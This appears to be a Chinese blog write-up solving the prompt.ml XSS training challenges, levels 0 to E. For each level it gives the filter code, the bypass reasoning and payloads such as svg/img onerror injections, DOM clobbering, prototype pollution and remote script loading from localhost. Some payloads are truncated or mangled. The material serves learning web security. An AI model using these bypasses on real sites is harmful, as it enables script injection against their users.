• httpprompt.ml靶场练习


    httpprompt.ml靶场

    靶场链接:

    prompt(1) to win - 0x0

    第0关

    题目:

    function escape(input) {
        // warm up
        // script should be executed without user interaction
        return '+ input + '">';
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5

    解题思路:

    • 直接将input标签即可。

    playload:

    "><script>prompt(1)script>
    或
    ">
    • 1
    • 2
    • 3

    注释:svg属于html标签

    第1关

    题目:

    function escape(input) {
        // tags stripping mechanism from ExtJS library
        // Ext.util.Format.stripTags
        var stripTagsRE = /<\/?[^>]+>/gi;
        input = input.replace(stripTagsRE, '');
    
        return '
    ' + input + '
    '
    ; }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    解题思路:

    • 这道题通过正则匹配,对<>进行匹配,并将其替换为空。所以不能使用完整的<>,html在解析中有一种纠错机制,并不需要写完整的<>也能执行,前提是该标签是HTML标签,如svg标签img标签不用写后面的>也能执行。

    image-20220729175056263

    playload:

    <svg/onload="prompt(1)"<img src=1 onerror="prompt(1)"
    
    • 1
    • 2
    • 3

    第2关

    题目:

    function escape(input) {
        //                      v-- frowny face
        input = input.replace(/[=(]/g, '');
    
        // ok seriously, disallows equal signs and open parenthesis
        return input;
    }   
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    解题思路:

    • 这道题将=和(替换为空,可以采用编码的方式进行绕过。因为js只解析字符串和标识符,所以通过将(编码为unicode是无法解析的,需要将其转为实体编码,所以需要加上标签。svg是一个文本集成点,能够切换命名空间,在svg标签的命名空间中使用的是xml格式,能够解析实体编码。

    image-20220729180523123

    playload:

    采用svg标签

    <svg><script>prompt&#40;1)</script>
    
    • 1
    <script>eval.call`${'prompt\x281)'}`</script>
    <script>prompt.call`${1}`</script>
    
    • 1
    • 2

    第3关

    题目:

    function escape(input) {
        // filter potential comment end delimiters
        input = input.replace(/->/g, '_');
    
        // comment the input to avoid script execution
        return '';
    }    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    解题思路:

    • 本题将->替换成_,并且输入的内容处于注释之中,可以通过闭合的方式逃出注释。

    image-20220729182932860

    playload:

    --!><script>prompt(1)</script>
    
    • 1

    第4关

    题目:

    function escape(input) {
        // make sure the script belongs to own site
        // sample script: http://prompt.ml/js/test.js
        if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
            var script = document.createElement('script');
            script.src = input;
            return script.outerHTML;
        } else {
            return 'Invalid resource.';
        }
    }        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    解题思路:

    • 这道题限制开头必须为https://prompt.ml/这个网址,因为有网址所以我们可以采用重定向的方式进行绕过。

    image-20220730004306961

    playload:

    http://prompt.ml%2f@localhost/a.js
    http://prompt.ml%2f@127.0.0.1/a.js
    
    • 1
    • 2

    a.js文件中写入的内容:

    prompt(1)
    
    • 1

    第5关

    题目:

    function escape(input) {
        // apply strict filter rules of level 0
        // filter ">" and event handlers
        input = input.replace(/>|on.+?=|focus/gi, '_');
    
        return '+ input + '" type="text">';
    }        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    解题思路:

    • 本题过滤了>onxxxx=focus,所以在这里无法使用autofocus了。但是这里可以将input标签的type类型覆盖了,比如说将之覆盖成image类型,然后可以利用οnerrοr=,使用换行绕过即可(这利用到了HTML可以多行执行的特点)。

    image-20220729184646553

    playload:

    " type=image src=0  onerror
    ="prompt(1)
    
    • 1
    • 2

    第6关

    题目:

     Text Viewer
    function escape(input) {
        // let's do a post redirection
        try {
            // pass in formURL#formDataJSON
            // e.g. http://httpbin.org/post#{"name":"Matt"}
            var segments = input.split('#');
            var formURL = segments[0];
            var formData = JSON.parse(segments[1]);
    
            var form = document.createElement('form');
            form.action = formURL;
            form.method = 'post';
    
            for (var i in formData) {
                var input = form.appendChild(document.createElement('input'));
                input.name = i;
                input.setAttribute('value', formData[i]);
            }
    
            return form.outerHTML + '                         \n\
                                                     \n\
            ';
        } catch (e) {
            return 'Invalid form data.';
        }
    }  
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    解题思路:

    • 分析源码可以看到,大概是由#分割,前面赋给form.action,使method=post,后面以json格式赋给formdata,把formdata中的属性循环赋给了input。后面满足forms.action存在即执行提交,所以这里使用js伪协议。由于允许我们创建我们自己的输入,这些输入可以用来破坏窗体的action属性。由于DOM破坏,document.forms [0] .action将返回我们新创建的输入字段而不是实际的action属性,因此可以执行JavaScript。

    image-20220729201517878

    playload:

    javascript:prompt(1)#{"action":1}
    
    • 1

    第7关

    题目:

    function escape(input) {
        // pass in something like dog#cat#bird#mouse...
        var segments = input.split('#');
        return segments.map(function(title) {
            // title can only contain 12 characters
            return '

    + title.slice(0, 12) + '">

    '
    ; }).join('\n'); }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    解题思路:

    • 本题根据#分离,每一部分赋给一个title并处于一个新的P标签中,如果超过12字符,就截取前12个。

    playload_1:

    "><script>/*#*/prompt/*#*/(1)/*#*/</script>
    
    • 1

    消去注释部分的内容后为:

    <p class="comment" title=""><script>prompt(1)</script>"></p>
    
    • 1

    playload_2:

    ">onload='/*#*/prompt(1)'
    
    • 1

    消去注释部分的内容后为:

    <p class="comment" title=""><svg/a="></p>
    <p class="comment" title=""onload='prompt(1)'"></p>
    
    • 1
    • 2

    第8关

    题目:

    function escape(input) {
        // prevent input from getting out of comment
        // strip off line-breaks and stuff
        input = input.replace(/[\r\n/g, '');
    
        return '                                \n\
     ';
    }        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    解题思路:

    • 本题过滤了\r、\n、<、/、和"。返回了/在/ console.log(“’ + input + '”);中,所以需要绕过过滤规则逃脱出双引号或者本行。可以采用unicode编码的方式进行绕过,对换行符进行编码绕过。

    注意:

    \u005c,是Unicode中的反斜杠。
    \u000D,是Unicode中的回车。
    \u0022,是Unicode中的双引号。
    \u2028,是Unicode中的行分隔符。
    \u2029,是Unicode中的段落分隔符。
    
    • 1
    • 2
    • 3
    • 4
    • 5

    playload:

    '\u0022)\u2028prompt(1)\u2028-->'
    
    • 1

    将playload的内容复制道控制台中

    image-20220730011854487

    将其粘贴进输入框中:

    image-20220730011925525

    第9关

    题目:

    function escape(input) {
        // filter potential start-tags
        input = input.replace(/<([a-zA-Z])/g, '<_$1');
        // use all-caps for heading
        input = input.toUpperCase();
    
        // sample input: you shall not pass! => YOU SHALL NOT PASS!
        return '

    ' + input + '

    '
    ; }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    解题思路:

    • 本题是将<>中第一个字母替换为_并且转为大写,例如中排在第一个的字母(a-z,A-Z),无论大小写都替换为 _,即替换为<_BC>

    • ſ通过大写转换后会变为S,可以通过这种方式绕过。因为js对大小写敏感,所以可以采用重定向的方式绕过。

    image-20220729204542903

    image-20220729204625231

    playload:

    <ſcript src="http://127.0.0.1/a.js"></ſcript>
    
    • 1

    第A关

    题目:

    function escape(input) {
        // (╯°□°)╯︵ ┻━┻
        input = encodeURIComponent(input).replace(/prompt/g, 'alert');
        // ┬──┬ ノ( ゜-゜ノ) chill out bro
        input = input.replace(/'/g, '');
    
        // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
        return ' ';
    }     
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    解题思路:

    • 因为在该题中是先将prompt进行替换然后再过滤',所以可以先将'加入prompt中,利用过滤的先后顺序进行绕过。

    image-20220729205125799

    playload:

    pr'ompt(1)
    
    • 1

    第B关

    题目:

    function escape(input) {
        // name should not contain special characters
        var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
    
        // data to be parsed as JSON
        var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';
    
        // directly "parse" data in script context
        return '                                \n\
     ';
    }     
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    解题思路:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pRJqo0Ay-1659157785025)(https://s2.loli.net/2022/07/30/SsODMf3vwl9uFKm.png)]

    playload:

    "(prompt(1))in"
    
    • 1

    第C关

    题目:

    function escape(input) {
        // in Soviet Russia...
        input = encodeURIComponent(input).replace(/'/g, '');
        // table flips you!
        input = input.replace(/prompt/g, 'alert');
    
        // ノ┬─┬ノ ︵ ( \o°o)\
        return ' ';
    }        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    解题思路:

    • 本题于第A关很像,不过过滤的顺序正好和第A关相反,可以采用转换进制的方式进行绕过,因为再[0-9,a-z]中,t是prompt这几个字符中排在最末的,在30进制中表示29。算上0,t正好处于第30位。

    image-20220730014013715image-20220730014034816image-20220730113929954

    image-20220729210720870

    playload:

    eval((630038579).toString(30))(1)
    
    • 1

    第D关

    题目:

     function escape(input) {
        // extend method from Underscore library
        // _.extend(destination, *sources) 
        function extend(obj) {
            var source, prop;
            for (var i = 1, length = arguments.length; i < length; i++) {
                source = arguments[i];
                for (prop in source) {
                    obj[prop] = source[prop];
                }
            }
            return obj;
        }
        // a simple picture plugin
        try {
            // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
            var data = JSON.parse(input);
            var config = extend({
                // default image source
                source: 'http://placehold.it/350x150'
            }, JSON.parse(input));
            // forbit invalid image source
            if (/[^\w:\/.]/.test(config.source)) {
                delete config.source;
            }
            // purify the source by stripping off "
            var source = config.source.replace(/"/g, '');
            // insert the content using mustache-ish template
            return ''.replace('{{source}}', source);
        } catch (e) {
            return 'Invalid image data.';
        }
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    解题思路:

    • JSON.parse()函数要接受一个json格式的字符串返回json格式的对象,如果传入的参数已经是json格式则会抛出异常,传入的参数被解析成json格式,格式不对则直接返回Invalid image data.,再经由extend()函数处理,extend()函数把默认值替换为指定的值后返回,然后是一个正则判断source对应的值中是否有不属于url的符号,有则删去这个值,将source属性删除

    • 每个对象都会在其内部初始化一个属性,就是proto,当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去proto里面找这个属性。
      image-20220730120922307

    • 那么基本上就是构造{"source":"'","__proto__":{"source":"onerror=prompt(1)"}},由于前面有非法字符',则会删除,但是在替换的时候由于过滤了",无法闭合,那么正好有一种特殊的替换方式

    PatternInserts
    $$Inserts a “$”.
    $&Inserts the matched substring.(插入匹配的子字符串。)
    $`Inserts the portion of the string that precedes the matched substring.(插入字符串中位于匹配子字符串前面的部分。)
    $’Inserts the portion of the string that follows the matched substring.(插入字符串中跟在匹配的子字符串后面的部分。)
    $nWhere n is a positive integer less than 100, inserts the nth parenthesized submatch string, provided the first argument was a RegExp object. Note that this is 1-indexed.(其中 n 是小于 100 的正整数,则插入第 n 个带括号的子匹配字符串,前提是第一个参数是 RegExp 对象。请注意,这是 1 索引)

    案例展示:

    image-20220730123009421

    image-20220730121604880

    playload:

    {"source":"'","__proto__":{"source":"$`οnerrοr=prompt(1)>"}}
    
    • 1

    第E关

    题目:

    function escape(input) {
        // I expect this one will have other solutions, so be creative :)
        // mspaint makes all file names in all-caps :(
        // too lazy to convert them back in lower case
        // sample input: prompt.jpg => PROMPT.JPG
        input = input.toUpperCase();
        // only allows images loaded from own host or data URI scheme
        input = input.replace(/\/\/|\w+:/g, 'data:');
        // miscellaneous filtering
        input = input.replace(/[\\&+%\s]|vbs/gi, '_');
    
        return '+ input + '">';
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    解题思路:

    • 函数先把输入的内容转换为大写,然后将//和字母换为data:,最后将\\&+%和空白字符,vbs替换为_,所以不能内嵌编码后的字符,由于js大小写敏感,所以只能引用外部脚本。

    Data URI是由RFC 2397定义的一种把小文件直接嵌入文档的方案。格式如下:

    data:[<MIME type>][;charset=][;base64],<encoded data>
    
    • 1

    其实整体可以视为三部分,即声明:参数+数据,逗号左边的是各种参数,右边的是数据。

    MIME type,表示数据呈现的格式,即指定嵌入数据的MIME。

    1. 对于PNG的图片,其格式是image/png,如果没有指定,默认是text/plain。
    2. character set(字符集)大多数被忽略,默认是charset=US-ASCII。如果指定是的数据格式是图片时,字符集将不再使用。
    3. base64,这一部分将表明其数据的编码方式,此处为声明后面的数据的编码是base64,我们可以不必使用base64编码格式,如果那样,我们将使用标准的URL编码方式,形如%XX%XX%XX的格式。

    image-20220730130343811

    playload:

    ">